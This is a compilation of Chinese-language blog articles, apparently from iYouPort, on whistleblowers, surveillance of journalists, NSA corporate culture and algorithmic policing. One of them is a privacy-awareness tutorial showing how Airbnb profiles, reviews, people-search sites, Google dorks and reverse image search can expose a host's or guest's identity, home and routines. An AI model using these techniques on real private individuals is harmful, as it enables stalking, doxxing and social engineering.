但必需肯定的成绩在于，自从该国总理的电报被公开后，鲍里索夫从未被任何欧洲领导人要求一对一会谈。保加利亚政府的“国际形象”完蛋了。同时，解密运动也引发荷兰和芬兰在保加利亚加入欧盟问题上投了反对票。

> “首先他们忽略你，然后他们嘲笑你，随后他们批斗你，再后来你就获得了胜利” —— 甘地

赢在坚持

这是一条艰难的路，在保加利亚如此，在中国更是如此。但正如 iyouport 所认为的那样，我们应该尝试，否则不能断言任何。

尤其是在多年来一切都失败的情况下，虚无主义弥漫的情况下，新的尝试是必要的和可贵的。如果不行，那就继续尝试，但必需强调的是：

技术 + 学识 + 科学的筹划 + 准确的判断力和分析能力 + 彻底摆脱苦难的追求。

这就是本文的用意，希望能引起读者的思考。 广告

原文

举报人的荣耀 - iYouPort

透明度革命

丹尼尔埃尔斯伯格是美国前军事分析师，也是美国历史上最著名的举报人，他在1971年揭露了华盛顿对越南的秘密战争计划，恭喜他赢得了2018年奥洛夫帕尔梅人权奖。

「图」

「图」

我们曾经介绍过 Ellsberg 的故事，详见《透明度革命：你应该知道的技术、经验和教训》

声明表示，87岁的埃尔斯伯格因其“深刻的人文主义和卓越的道德勇气”而受到表彰。他非常清楚自己将在监狱中度过余生的风险以及丧失待遇优厚的职业生涯。但无论后果如何，他都无法拒绝保护真相，这些真相能终止那场非法战争，并挽救无数生命。

Olof Palme 奖是由瑞典劳工运动颁发的年度奖项，奖金75,000美元（65,500欧元）。此奖为纪念瑞典社会民主党主席奥洛夫·帕尔梅，一位直言不讳的国际人权倡导者—以及对美国卷入越南战争的激烈反对者—他于1986年在斯德哥尔摩被暗杀。

自1987年以来，该奖项授予世界各地的人权维护者奖，包括去年的诺贝尔和平奖获得者，刚果医生 Denis Mukwege 和前联合国秘书长科菲·安南。颁奖仪式将于1月30日在斯德哥尔摩举行。

Ellsberg 也是一名坚定的反核武器活动家，他最近出版了一本关于内部核威胁的著作，标题为“世界末日机器：核战争策划者的自白“。他去年曾警告国会议员关于鲁莽的战争计划和更强大的核武库的危险。

Pentagon Papers whistleblower Daniel Ellsberg, a former US military analyst who exposed Washington’s secret war plans for Vietnam in 1971, won the 2018 Olof Palme human rights prize on Wednesday.

原文

反侦察：情报机构再次监听记者通讯，媒体该如何保证爆料人的安全？ - iYouPort

自我保护措施-技术技巧以防身透明度革命

此案是近期的热门事件，情报机构再次做出监听记者的违法行为。然而需要提醒的是，在谴责的同时应该反过来想想这件事，正如隐私保护组织所强调的：不应该寄希望于调查人员完全守法，他们掌握着强大的自辩理由，记者们必需自己保护自己 – 保护信息和爆料人的安全，保护全体公民的知情权。应该怎么做？

「图」

「图」

纽约时报最近透露，FBI 一直在调查参议院情报委员会前助理 James Wolfe 可能泄露机密信息给记者的事件。到目前为止，Wolfe 只是因为向调查人员作了虚假陈述而被起诉。

调查似乎集中在纽约时报记者 Ali Watkins 如何在为Buzzfeed News 工作期间了解到“机密”信息这一线索，俄罗斯间谍曾试图招募总统特朗普的前顾问 Carter Page。

纽约时报的文章显示了以下三个值得考虑的问题：

首先，根据这篇文章，联邦调查局特工“秘密截获了记者 Watkins 的电话通讯和电子邮件记录”。“截获的记录中甚至包括她的本科时代与她的大学电子邮件地址相关的记录。”但是，“调查人员并没有获得这些信息的具体内容。”

“没有获得具体内容“这句话很奇怪，难道文章作者还想试图通过“元数据不是具体内容”来欺骗公众吗？

包括 EFF 在内的许多数字安全资源一直都在强调使用端到端加密。但

是，⚠ 重要的应该要明白，虽然加密可以保护通信内容，但加密不会掩盖元数据。因此，政府代理人无需亲自倾听或阅读通信信息，就可以看到您与谁交谈，何时何地，甚至从何处访问。

元数据可能会非常明显地暴露隐私。Wolfe 否认与记者交谈，但元数据显示了交谈记录，结果导致他被刑事指控。

不幸的是，完全屏蔽通信元数据几乎是不可能的。通过像 Tor 这样的匿名工具创建一个临时电子邮件帐户，有可能会使得识别身份的调查变得更加困难；诸如 Signal 的 Disappearing Messages 之类的功能会在一段时间后自动删除一些元数据，使得执法部门难以在事后获得元数据。

其次报道显示，此案中，政府通过加密通讯应用程序（显然是 Signal 和 WhatsApp）获得了 Wolfe 与记者通讯的内容。EFF 的猜测认为：FBI 拿走了 Wolfe 的手机，并以某种方式访问了应用程序 – 可能他的手机没有锁、他被要求交出了密码、或者情报机构使用“取证工具（就是间谍工具）”绕过了锁屏和任何基于设备的加密。调查人员还可能发现存储在“云”中的、或包含未加密消息的硬盘上的备份。（这个问题也出现在了 Mueller 的调查中。）

必须知道，当局在宣传或暗示“加密应用中信息被读取”这类细节方面，一直有着浓厚的兴趣，他们希望通过对案例细节的渲染向广大不熟悉技术的公民灌输恐惧。就像他们曾经竭力抹黑 Tor 那样。媒体不应该仅仅是记录者 – 当权者说什么就记下来，那是录音机不是新闻，媒体应该致力于和技术专家合作，揭示当权者的偏颇论述，让读者更明白究竟发生了什么 – 该如何应对。

美国社会很荣幸拥有比媒体更负责的独立公民组织，如 EFF，这些独立组织总是能在关键问题上为广大公民解惑。

📢需要提醒注意的是，尽管端到端加密能避免在传输过程中拦截通信内容，但如果内容在终端时（即在应用程序或备份中）没有加密，则任何有权访问终端的或备份的人都可以拿到数据。

因此，删除未加密的邮件是一项必需被强调的附加安全措施。 Signal 的消息自动消失功能再次成为有效方法。

第三是非技术性问题：司法部是否遵循能自己的新闻媒体法规？这些法规已经存在了四十年，最近是2013年奥巴马司法部攫取美联社记者和编辑长达两个月的电话记录一事，令人震惊的被揭露后，该法规于

2014年进行了修订。

该法规要求截取通信的做法必需在首先确认其他渠道均无效的情况下才能实施，并且这些规定还要求司法部调查人员要提前通知记者截取通信的做法，并有机会在扣押他们的通讯数据之前进行谈判。但事实操作中并非如此 – 正如“纽约时报”的一篇文章所解释的那样，记者 Watkins 是在她的电话和电子邮件记录已经被情报部门截获之后才收到司法部信件的。

当然司法部也可以通过解释（自我辩护）来绕过这些法规，比如称“这种谈判会对调查的完整性构成明显和实质性的威胁、严重危害国家安全、或提出即将死亡或严重身体伤害的风险……”等等，但这些细节在此案中至少目前为止尚未被透露过。

最重要的是，⚠ 提醒记者们不应该期待提前得到通知 – 别期待当局守法。记者们自己应该尽可能多地采取预防措施 – 数字技术措施和其他方式的措施 – 以保护机密来源。保证信息源安全是新闻记者的基本职责所在。

记者们经常在美国机场和边界口岸受到强迫调查的骚扰（《第四公民》的导演 Laura Poitras 就曾多次被骚扰，采访资料被扣留，我们曾经在《反侦技巧》这篇文章中详细分析过这些案件）EFF 曾经发布数据隐私指南，针对这一侵犯现象给予记者技术知识方面的保护。其他新闻团体也拥有可靠的数字隐私和安全指南，例如新闻自由基金会、保护记者委员会和无国界记者组织。

EFF 说，查获记者 Watkins 的电话和电子邮件记录这一事件再次强调了对法律完善的迫切需求，以便政府不能通过追踪记者来试图揭露他们的机密来源，无论是通过服务提供商还是法庭。

保护揭秘者，保护广大公民的知情权。

原文

在斯诺登之前，国家安全局的间谍已经试图从内部煽动变革 - iYouPort

透明度革命

> 曾经看过一本书，关于情报分析技术解读的。没学到什么东西，如今回想起来大部分印象围绕着“怎么像是个营销部经理写的呢？”里面充满了产品、客户满意度等词汇，而几乎没有什么原则方面的论述。读过这篇报道后才明白，商业语话就是情报部门掩饰其威胁性本质的迷彩。回去找了一下那本书，果然，作者是情报局资深分析师……

「图」

国家安全局在一份内部通讯中发表了 Rahe Clancy 的一系列文章，这是一些对该机构已经成为了什么的谴责、以及他对这里的窃听者感到何等失望的文章。并不是 Clancy 不喜欢对公民或其他政府进行间谍活动 — — 他支持信号情报的收集 — — 但他觉得国家安全局已经在窃听问题上迷失了方向。

他在这里工作了 30 年，他写道，“我发现自己变成了一个 SIGINT Curmudgeon（信号情报倔老头/讨厌的吝啬鬼）。”2005 年，他发布了他正在撰写的新闻简报 SIDtoday 的文章，这篇文章的主题是该机构的核心，信号情报局。

Clancy 写道，他特别担心自己的专业领域的未来被理解为彻头彻尾的“大规模收集”，NSA 拦截和下载各种传输，包括地球传输和卫星传输。“我确信”，这已经是一个垂死的职业领域，国家安全局管理层正在通过忽视这些关键问题来加速其消亡”。

Clancy 正在为一群与众不同的读者写作 - — — 为 NSA 工作的成千上万的窃听者、黑客和情报分析师。他在 SIDtoday 上的文章发布在一个保密的内部网络上，由举报人 Edward Snowden 提供给 The Intercept。

Clancy 有个很透彻的分析：国家安全局像一个公司，而不是一个间谍机构。它强调的是经理、客户、产品和客户满意度。领导层与员工之间存在巨大的薪酬与福利差距。语话令人发狂，每天都有“范式”，“协同作用”，“企业”和“团队合作”等等。这一切都让他疯狂 — 仅从字面上看就是这样。某天，一次办公室故障让他与老板发生了激烈的分歧。他考虑提前退休，但不得不坚持下去，因为他需要全额养老金。

他在最后一篇专栏文章中写道：“我不觉得密码学情报局的运作方式与运营一个公司在表面上有什么相似之处。” “如果我们有一个产品可以销售，并且竞争销售该产品，我很乐意接受 NSA 的企业模式。但我们完全没有竞争。“

Clancy 在 2006 年退休时发表的最后一篇专栏文章出人意料。标题为“ The SIGINT Curmudgeon 的最后一击！“。SIDtoday 的编辑表示，他们收到了“前所未有的反馈”，并发布了一份样本。“完全正确！”一位职员写道。“太多人认为’提前下手’比完成任务更重要！”另一位窃听者说：“精彩而且重要的文章。他们在炒作和毫无意义的废话上浪费太多了。“一位退伍很久的前军人补充说，”我经常哀悼自己 **1982** 年加入的那个国家安全局。如果有人知道它去了哪里，请给我发一张地图，我要去找它。“

随着他的“最后一击”，这个信号情报的痴迷者变成了英雄。

「图」

马里兰州米德堡 国家安全局总部大楼

作为小报的风格，SIDtoday 从该机构的员工队伍中抽出了一堆专栏作家。有一个专栏是“ SIGINT Philosopher ”撰写了关于监控的道德问题的文章; 有一个名为“ Ask Zelda！” 的专栏，类似于“亲爱的 Abby”，主题是间谍; 还有一个叫“ 信号与噪音 ”的专栏，探讨了数据收集的复杂性 ……作为 “SIGINT Curmudgeon” 的写手，Clancy 对这个世界上最大的窃听机构的内部语话进行了批评。他以自己天马行空的方式成为了现代*监控文化*的业余人类学家。

退休后的 Clancy 继续着他那种方式，在与记者交谈时有点脾气暴躁。但他最终还是在电子邮件的交流中讨论了他对该机构的批评：“我为保护机密信息而采取的众多誓言和宪法宣誓对我来说仍然非常真实，”他告诉 The Intercept。“如果这导致我’过于谨慎’了，那随便你。”

我几年前开始尝试联系 Clancy，当时我获得了他妻子的电子邮件地址和电话号码。2015 年，我第一次与她交谈，她说国家安全局告诉她的丈夫不要跟记者说话。下一次我与她交谈时是7月初，当我开始写这篇文章，她给了我 Clancy 的电话号码。我在几天内留下了几个语音邮件，然后又给他的妻子发了电子邮件; 都没有回应。然而，大约一个星期后，Clancy 给我发了电子邮件。他写道："为无视你长期沟通的尝试而道歉"。"我并不急于讨论任何泄露的文件，也不急于公开我的名字。我还没有因此感到兴奋！"

我发了几个一般性的问题，他回答了其中的一部分。他说他是一个狂热的读者 — 他喜欢的类型包括另类历史、西部片、战争小说、历史小说、埃及学和科幻，特别是太空歌剧（科幻文学中一种特定的类型）。他的家庭图书馆足有 1000 本书，数字馆藏有 500 本。他不认为自己是作家。"我为工作写作，有时为了好玩而已，"他说。"如果我在这个领域有任何才能，那是因为有敬业的老师和一所人非常少的高中，9–12 年级的学生从未超过 100名。"

几分钟的谷歌帮助填补了关于他的高中生活和 Clancy 传记中其他部分的空白。他属于那种社会中坚力量。出生于1948年，他的父亲是北达科他州的农民和二战老兵，曾在瓜达尔卡纳尔岛服役。他在布法罗的一个小镇长大，从当地高中毕业后，就读于大福克斯的北达科他大学。一年后就离开校园了，越南战争期间显然服役于军事情报部门。但他只持续了三年 — 他在一篇文章中承认"我从来没有很好地掌握权威，尤其是军事类型的权威。"回到北达科他州并于1974年结婚后，他在英国与国防部一起从事民事工作; 这也是他在美国国家安全局的职业生涯的开始，是在国防部的支持下。他的三个孩子出生在英格兰，1990年他们搬回美国，定居在马里兰州，离美国国家安全局米德堡总部不远。

和国家安全局的其他所有人一样，Clancy 的工作也被机密了。他在其中一篇文章中描述了这一点，参考"20年的 FORNSAT 经验和10年的 HF 收集经验。"他对 FORNSAT 的提及中表明了卫星收集工作，其中涉及将卫星数据流定向到地球上的接收器。他对"HF"的提及似乎意味着收集" 高频 "无线电信号，这是 **NSA** 窃听行动的传统支柱。在他职业生涯的最后阶段，Clancy 在美国国家安全局国家安全行动中心担任高级数据收集官长达17个月，他参与了在全球范围内发生的诸多著名事件。这是他喜欢的工作。

他在 SIDtoday 写道："我支持阿富汗军事行动，伊拉克军事行动，无数 CSAR（战斗搜索和救援）任务，飞机失事，人质事件以及无数其他任务。""我帮助跟踪基地组织成员，塔利班成员，前伊拉克政权

成员，以及向被禁国家运送武器的飞机和船只……他们去伊拉克的那天晚上我值班，我回家后感到烦躁不安，但有一种成就感……“

在整个职业生涯中 Clancy 最不同寻常的经历并不是那些战争，而是，他目睹了NSA的恶化。

在 20 世纪 70 年代 Clancy 刚开始工作时，国家安全局主要侧重于拦截外国政府和军队的数字信息。当然，这是一个秘密组织，并参与其在法律上可疑的间谍活动，但至少那时它还不是如今这种极具争议的恐怖的庞然大物。

20 世纪 90 年代网络的出现改变了国家安全局工作的范围。随着世界通信扩展到数字领域，国家安全局扩大了对卫星、电话线和电报电缆的窃听范围，以包括政府，非国家行为者和普通人使用的新的在线通信基础设施。9/11 之后，国家安全局在巨大的冲击中承担了“新的职责”也采取了新的资源，进行了大量的窃听活动，在许多情况下明显违宪。

截至 2013 年，由于斯诺登泄露的文件显示，可获得的最近一年的统计数据指出：国家安全局的预算为**108** 亿美元。它已经成为一个庞大的官僚机构，并采用了大型科技公司的技术，让 **Clancy** 和很多其他员工感到懊恼。斯诺登泄露的档案包含大量文件，这些文件使用一种似乎模仿企业公司通信的语言来推动工商学管理国家安全局的方法。例如，一篇 SIDtoday 文章名为“客户记分卡”，其中第一段是这样的：

> 客户关系理事会 *2004* 年的关键举措之一是更新和改进了信号情报局（*SID*）的“客户支持计划（*CSP*）‘。一切关乎客户的反馈。为了获得这种反馈，*CRD* 开始了一个名为“客户记分卡”的试点计划。该记分卡将用于确定信号情报局如何满足其客户的产品和服务需求。

无论是否有意，美国国家安全局都在用公司术语夸大其事关生死的行动，为员工提供了一个语义层面的绝缘，使他们远离所做工作的致命性质。毕竟，他们的“客户”不是通常意义上的客户 —— 而是军队，情报系统，白宫，国务院和美国政府的其他部门。类似地，NSA 的“产品”与大多数公司生产的产品也完全不同，它们是情报报告，其中包括用于定位人员进行无人机暗杀并在国外寻找攻击目标的电子监视。

简称，拿人命当生意做了。

另一份题为“让客户为每个员工的工作做出反馈”的 SIDtoday 文件更是一个令人费解的玩意，通过企业资料的汇集混淆其致命的行动。文件指出，“我们今天的愿景是在合适的时间 — 在他们的信息空间内 — 向正确的客户提供正确的信息 — 完全专注于客户才是成功结果。”它说：

> 为此，我们正在采用流程和技术，只需按一下按钮，即可通过 *SIGINT* 企业提供客户信息需求、客户反馈、观察到的客户行为和偏好、直接的客户投诉及其解决方案的预期结果。在过去的*18*个月里，我们一直在持续开发这项技术的业务流程，现在我们已准备好了对这项技术进行原型设计，从而引导我们对客户反馈和行为进行趋势分析。我们希望这可以改善一对一的客户关系，获得更全面的客户受益……

Clancy 对这种语言感到困惑。

“‘行话’的诱惑非常强烈，”他在上一篇专栏文章中写道，“这种表达方式让任何人听起来都是不可思议的！几个月前，我参加了一个由几位非技术人员组成的会议，他们也是工作人员，是人力资源那类，他们说，“‘公司论’讲座让人根本不知道领导们在说什么。我不是傻瓜，可我完全无法理解那套话。我对此一无所知！……我的意思是，我明白关于：’杠杆’，’范式’，’协同作用’，’企业’，’扩展企业’，’团队合作’，’公司性’等等这些词汇究竟是什么意思，但这些词完全无法与我所理解的情报机构的工作方式联系在一起。“

为了回应 Clancy 的专栏，SIDtoday 的编辑发表了国家安全局工作人员的九条评论。最后的评论总结了最普通的反应：“我笑了，哭了……我们花了很多时间在这个机构谈论那些所谓的独特产品，好像它是最好的清洁剂**……**我们已经忘记了作为一个政府机构，我们不是在“为了营利”而业务**……**我们的工作首先是向有需要的人提供情报。诸如“可操作性”之类的口号或像“前瞻性与 **SIGINT** 一样重要”等口号，并不代表任何东西。“

The Intercept 联系美国国家安全局，但他们拒绝就该机构过于公司化的指控发表评论。

「图」

Clancy 的小狗在他的 Facebook 上的照片

Clancy 仍然住在马里兰州，退休后在 PetSmart 担任了一段时间训狗师。他和他的妻子抚养西伯利亚哈士奇犬的小型阿拉斯加克莱凯斯。“为了爱我们的狗，每年大约有两窝，”他写道。“我们的狗是就我们的家人。”他有一个 Facebook 页面，他发布了小狗的照片和视频，确实非常可爱。他偶尔会带他们去当地的星巴克。

他的一些 Facebook 帖子很有意思。去年他发布了一张图片，上面写着“尽管没有大脑，但水母已经存活了 6.5 亿年的事实给许多人类带来了希望。”他还分享了一则视频，开头就是：“只是因为你去了大学并不会让你比任何人更聪明。……没有哪个学位赋予常识。“

他与国家安全局的分手有着悄然胜利的标志。在我的一封电子邮件中，我问他是否知道他最后的一篇 SIDtoday 文章在该机构内引起了多么强烈和积极的回应。他并没有直接回复，但他这样写道，“现在的员工已经找到了我，他们知道我是谁，只是想握握手，所以我知道至少有些人还记得我。”

Clancy 不是斯诺登或切尔西曼宁那样的人，他们通过泄漏大量的机密文件给公众以提出批评的机会，希望他们的行为能够激发人们对秘密政府滥用权力的更多认识。那么 Clancy 是否认为政府应该遏制其 9/11 之后的大规模间谍活动？国家安全局工作中最具争议的一个方面是，在努力吸取外国人的全球通信时，还收集了大量美国公民的电子邮件、短信和电话记录。虽然保守派倾向于支持国家安全局的监视，但该机构间谍行为的范围引起了参议员兰德保罗等自由主义立法者的严厉批评。

我问 Clancy 关于这个问题。他回答说，“我的个人政治观点与我的工作表现无关，我在政治上很保守，并认为治理应该尽可能地贴近人民。隐私必须得到保护，但我们的情报收集能力也必须得到保护。“

他的目标也显然是保守的：他试图从内部煽动静悄悄的变革。“我写这些文章不仅是为了表达我对机构状态的个人关注（和挫折感），而是让人们说话和思考，”他告诉我。“如果有可能的话，让大家的思想转动起来“。

我想要了解他准备鼓励的改革的一些细节，但他在回避更多的解释。无论如何，他似乎并不相信保守的异议能达成什么目标。正如他在给我的一封电子邮件中所说的那样，“如果我以任何方式影响了机构中的老人，我会感到惊喜的。”■

编者按：这篇文章讲到了情报机构的诸多关键问题中的一个，即 前国安局局长 **Keith Alexander** 臭名昭著的口头禅 “别管法律，做好你的工作”。由于情报机构的客户是政权，唯客户至上的管理让他们变成了当权者的打手。但这种状况是不可能通过“静悄悄的”改革而获得改观的，就如这篇报道中所暗示的那样，它只能被拆除。

最年来解散国家安全局的呼声越来越强烈，美国已经有多个州成功地驱逐了国家安全局的据点。这是在斯诺登揭露后又花了五年时间才达成的一点进步。

自 1952 年成立以来，国安局就被赋予了双重使命：首先就是信号情报（SIGINT）拦截属于被华盛顿认为是美国敌人的通信；其次是通信安全（COMSEC）保护美国军事和政府部门不被他人拦截。因为不同国家使用不同的通信系统，军事人员和平民也使用不同的通信系统，当时这两大使命是互补的。但是，那只是当时，如今这两个使命完全矛盾。

或许法律可以决定什么样的监控是合法的，但是技术才能确定什么样的方法是可行的。互联网告诉你的第一件事就是，技术无国界，信息无国界，安全的权利全球共享。

如今国安局已经无法做到在削弱敌人的同时保护自己的网络。情报机构用于相互监视的技术漏洞，也同样被犯罪分子用来窃取财务密码、发送勒索软件。著名的 WannaCry 只是所有案例之一，更著名的还有震网病毒，几乎所有互联网人都应该记得，还有破解密码软件 Elcomsoft，数据包注入（packer injection）等等太多最终变为伤害的间谍工具，全是美国开发的。美国政府希望不受限制地监控公民的愿望，直接打乱了互联网的运作方式。

这根本无法避免。因为全球人使用着同样的产品、技术、协议和标准，你只有两种选择：要么把它变成更容易被每个人监视他人所用，要么使其变成更难以被任何人监视他人所用。注意是任何人，情报机构当然在其中。

曾在小布什政府中担任助理总检察长的哈佛大学法学教授 Jack L.Goldsmith 撰文明确过这点：“每一个攻击性武器的开发都会成为我们防守的弱点，反之亦然”。

比如美国《通信协助执法法案 CALEA》要求电话交换机启用窃听功能。即便美国人都允许警方拥有这些能力，假设所有人都信任警察不会滥用权力，但是这些电话交换机是销往全球的。2004 ~ 2005年期

间，希腊政府部门中有一百多成员的手机遭到窃听，包括总理和国防部长、外交、司法部门全在内，还有希腊著名的公民。为什么？因为瑞典电信供应商爱立信在沃达丰产品中设置了窃听功能，虽然只在政府的要求下才运转。但是，希腊政府显然不是那些恰好能指挥窃听的政府，于是它就变成了被窃听对象 — — 只要这些功能存在，任何有技术的人都能开启它，并达到自己的目的。

这些都不是孤立事件。这就是本时代赋予我们所有人的选择：要么每个人都能得到这种能力，要么没有任何人能得到。绝无其他选项。

美国过家家安全局的问题不是美国的问题，它是全球民主的问题。美国有着令人钦佩的强大技术能力，但如果它用不对地方的话，就会成为全球专制政府和犯罪分子的盛宴。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

如何从民宿网站挖掘大量重要情报？以及使用这些网站的人应该注意什么 - iyouport

开源情报-每个人都可用的武器自我保护措施-技术技巧以防身透明度革命

【2020年3月4日存档】每一个目的明确的人都具备天然的追踪思考方式。

开源情报调查的任何演示都在提醒同一件事：即 仅仅通过少量的公开可用信息就可以挖掘到大量的私密敏感情报。

互联网让追踪和调查变得前所未有地容易，这不仅是基础设施问题，更有，就如我们一直强调的那样：这个圆形监狱是每个网民一点一滴积累出来的 ……

这其中有您吗？

……

我们中很多人经常需要出差，有时需要在异地过夜；为此，Airbnb 也许是一种便宜而诱人的选择。

在家外之家中专注于舒适的设施有时会导致你忽略可能引起的隐私问题。

这里是一些对 Airbnb 上可用的公共信息进行的简单开源情报研究，以及使用该网站时的整体隐私权危机。

提醒安防！

首先先了解下该公司。 Airbnb 是一家位于美国的点对点住宿公司，它允许注册房东通过其住宿提供招待服务。客人可以在 Airbnb 平台上预订住宿，还可以查看和预订当地体验以及餐厅。

房主可以列出自己的房屋或出租屋，但规定非常严格，需要许多认证

和协议。

该平台鼓励所有房东创建个人资料，其中包括个人资料照片，有关他们的小信息，以及他们提供的所有身份验证信息（护照、驾驶执照、财务信息）的列表。

他们的个人资料是房地产清单的补充，其中包含更具体的财产详细信息和照片。

粗略浏览你就能发现，来宾和房东都在泄露大量的个人信息！您可以在下面看到一些人在 Airbnb 上列出的财产信息或创建个人资料时公开的信息。*4.3 Profile, Listings, and other Public Information.*

你可以找到关于房主的哪些信息？

以下面的 Nanci 为例，简单阅读你就可以找到很多敏感的信息。

简单的几句话中就能让你知道：她的年龄、有几个孩子、她的婚姻状况、她的邻居、和她的职业 —— 这些都是可以用作 **社交工程** 攻击的多汁情报。*Profile information of a registered host on Airbnb*

知道房东的名字、职业和房子的位置，就能够在 Google 中快速进行布尔搜索（名称＋位置＋职业），迅速找到了她的自由职业者页面；

- 关于布尔搜索，见《一个搜索统治一切：调查用心而非技术》

该页面提供了她的姓氏，然后从那里继续进行 Intelius 搜索，找到了她的亲戚。

「图」

Intelius search

找到她丈夫的名字后继续由此进行搜索，从而迅速找到了他们拥有的房屋的地址，该地址也恰好与他们在 Airbnb 上列出的房屋相匹配。

所有这些信息都可以在不到5个步骤中找到。

「图」

The house listed on Airbnb

通过地图搜索可以找到什么？

探索网站功能以获取个人信息的另一种方法是在地图上搜索特定位置。

我首先在2019年9月9日至12日之间为一位房客寻找曼哈顿的房屋出租。此搜索在我选择的日期范围内的曼哈顿地图上提供了可用列表。

这些数据看似无害，但是，现在你已经能知道在 Airbnb 上列出了哪些房屋、以及这些地点的房东。

在这一点上，你就可以调查房东的个人信息以获取任何可用的东西。*Manhattan listed Airbnb homes at the time of our search*

例如，如果从上面的地图中选择一个列表，将获得以下详细信息，其中列出了时代广场附近的一间私人房间。*Airbnb advert in Queens*

此人的个人资料不仅可以显示他何时开始从事民宿（2016年），还可以提供更多重要信息，例如 他的生计和业余时间。

更有趣的是，你还可以看到他的 Gmail 帐户和 Airbnb 帐户已连接。

⚠如果未启用双因素身份验证，恶意者就可以访问此Gmail帐户，从而可以访问其 Airbnb 帐户及其附带的所有内容，例如 财务信息。*Public profile information on Airbnb*

关于电子邮件和2FA意味着什么：

- 《如何使用社交工程来攻击 2FA？》
- 让2FA失败的方法《如果警察抢走你的手机，或你与骇客同乘电梯…… 3分钟无需解锁实现入侵》
- 《如何仅仅通过电子邮件挖到你的电话号码：一种新的开源情报追踪方法》
- 《如何不暴露手机号、不花钱，实现双因素身份验证？》
- 《如何将您的手机用作在任何计算机上登录Google帐户的安全密钥？》
- 《如何侦查电子邮件和电话号码？开源情报调查工具》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》

评论区是金矿

每个列表均允许客人查看住宿后的体验评述。

⚠这些评论是非常有用的信息来源，在这种情况下，当我们选择一位评论过其住宿的客人时，就可以看到：他们何时在此地逗留、他们住在哪里、以及为什么。

在查看此特定个人资料时，可以看到，他在哪里工作、在哪里住、甚至你可以总结一份指南关于此人的习惯性活动路径……

房东会创建这类指南，以向客人提供有关当地的信息，例如 餐馆、酒吧、远足小径，等等。

请注意，通常这些地点很可能是房主自己经常访问的地点，从而揭示了他们潜在的位置。*One of the public reviews left on the booking*

更深入地了解此个人档案，还可以看到他们住在哪、工作地点，并可以大致了解他经常去哪些地方。*Derek's main public profile on Airbnb*

继续搜索该用户的雇主网站，可以在 "Meet the Team" 下轻松找到评论者本人，以便验证其姓名和职务。

⚠如果以「他的名字＋雇主身份」进入搜索，现在就可以拥有他的整个社交媒体和在线角色的全景了。*Meet the Team*

自定义搜索、站点地图、和 **Google dorks**

Airbnb 提供了一个方便的自定义搜索工具，可让您缩小搜索范围。

例如，假设追踪者正在寻找某个特别的人，并认为该人可能一直或常去华盛顿广场公园地区。

那么就可以这样：通过在搜索选项卡中键入"华盛顿广场公园" 直接搜索该区域，然后会得到一张包含42个地点的列表的地图，可以查看或转到 Site Map 并手动进行搜索。

「图」

您也可以在地标附近搜索列表。由于正在查看的是纽约，这里有很多地标，因此使用 ctrl ＋ F 搜索"华盛顿"，然后选择以下选项。

如果您要查找特定的人员/列表，但仅限于有关该位置的模糊数据，则此搜索会非常方便。

简单说，对于追踪来说，非常方便。

「图」

Search for “Washington” under Near Landmarks

Google Dorks 可以更容易地在某个位置周围找到已知的房主和评论者。

- 「攻防皆可用：GoogleDorking 高级运算符完整列表」

这种类型的搜索可以在几秒钟内为您提供信息，而不是花费很多时间在 Airbnb 网站上进行查找。

例如，假设以“ Tim”作为目标人，并且已经找到了曼哈顿为潜在瞄准点。那么搜索就是这样的：***site:https://airbnb.com “Tim” User profile “Manhattan”***

这将为你提供曼哈顿附近列出的任何名为Tim的房东，或最近留下评论的任何名为 Tim 的人。

⚠GoogleDorking 可用于调出各种用户信息，例如 特定的用户个人简介、房主个人简介、评论者、甚至是以多种语言显示的针对性广告。

个人资料图片缩略图

人们可能会忽略的最后一项数据是房东/客人的个人资料图片。

在房屋搜索或发表评论时，此信息仅会以小的缩略图形式公开显示。

但有了这张照片，就可以做一个直接的反向图像搜索，看看它是否能带来任何识别性信息。

- 《搜图功能哪家强？图像验证方法的能力对比》
- 《谷歌搜图不好用怎么办：推荐另外两个更好用的工具》
- 《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》

Reverse search on a reviewer’s profile photo

在所有搜索引擎中，Yandex 找到了有关目标的最多信息 —— 正如我们曾经对比的那样，Yandex 的算法对于开源调查来说可能更有用。

这些结果提供了更多信息，可帮助您进一步进行调查。

最后的想法

在 Airbnb 上拥有帐户的任何人都应确保阅读并理解整个隐私协议。

尤其请注意：您的个人信息将如何存储和出售给第三方。

避免在网站上使用自己的照片，尤其是在容易识别的位置。

如果您认为需要使用照片，请确保它是在线任何其他地方都没有使用过的照片 —— 避免被反向图像搜索探查到更多有关您的私密信息。

不要列出您的孩子的姓名、年龄、学校、活动或照片，并且，避免过多透露您经常喜欢去的地方。

尽量避免列出您的工作地点和求学经历。

如果您是房客，请确保检查场所列表中的摄像机及其位置。在墙壁上寻找奇怪的插头，并去除看起来可疑的奇怪物品。

- 《如何找到旅店房间里隐藏的摄像头？》

确保始终通过 Airbnb 平台与房东进行联系 —— 而不是其他任何您的私人通信渠道，并且，在与房东的通信中切勿泄露任何个人信息。

⚠对于追踪者和调查人员来说，以很少的可见信息挖掘到很多私密信息是完全可能的。

如果您把钥匙留在了门上，就不要指望小偷不用它。

请注意！这些问题绝非 Airbnb 独有，所有住宿网站都是如此。〇

Airbnb—Reverse OSINT With Your Public Information

回顾我们的隐私保护行动策略系列 —— “完美隐身”：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤

（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》
- 《如何做到完美隐身：扫荡危险区域（7）》

原文

如何揭开隐藏算法的面纱 - iYouPort

透明度革命

不透明是极权的护身符，是一切专制政权的法宝——包括算法专制； 透明度就是民主自由的大门。 这不是一件容易的事，但并非不可能。

「图」

「图」

2012年，新奥尔良警察局悄悄与数据采矿公司 Palantir 合作，实施了“少数派报告”那种预测性警务系统。六年来，市议会和法院都没有被告知公民的数据被开采以产生警察“目标名单”。关于该计划的适当性、合法性或价值的问题从未得到解决。

今年3月，新奥尔良官员表示，与 Palantir 的合同不会续签，但是，这种关系暴露了政府如何使用算法和数据的更深层问题，必需被更广泛关注。

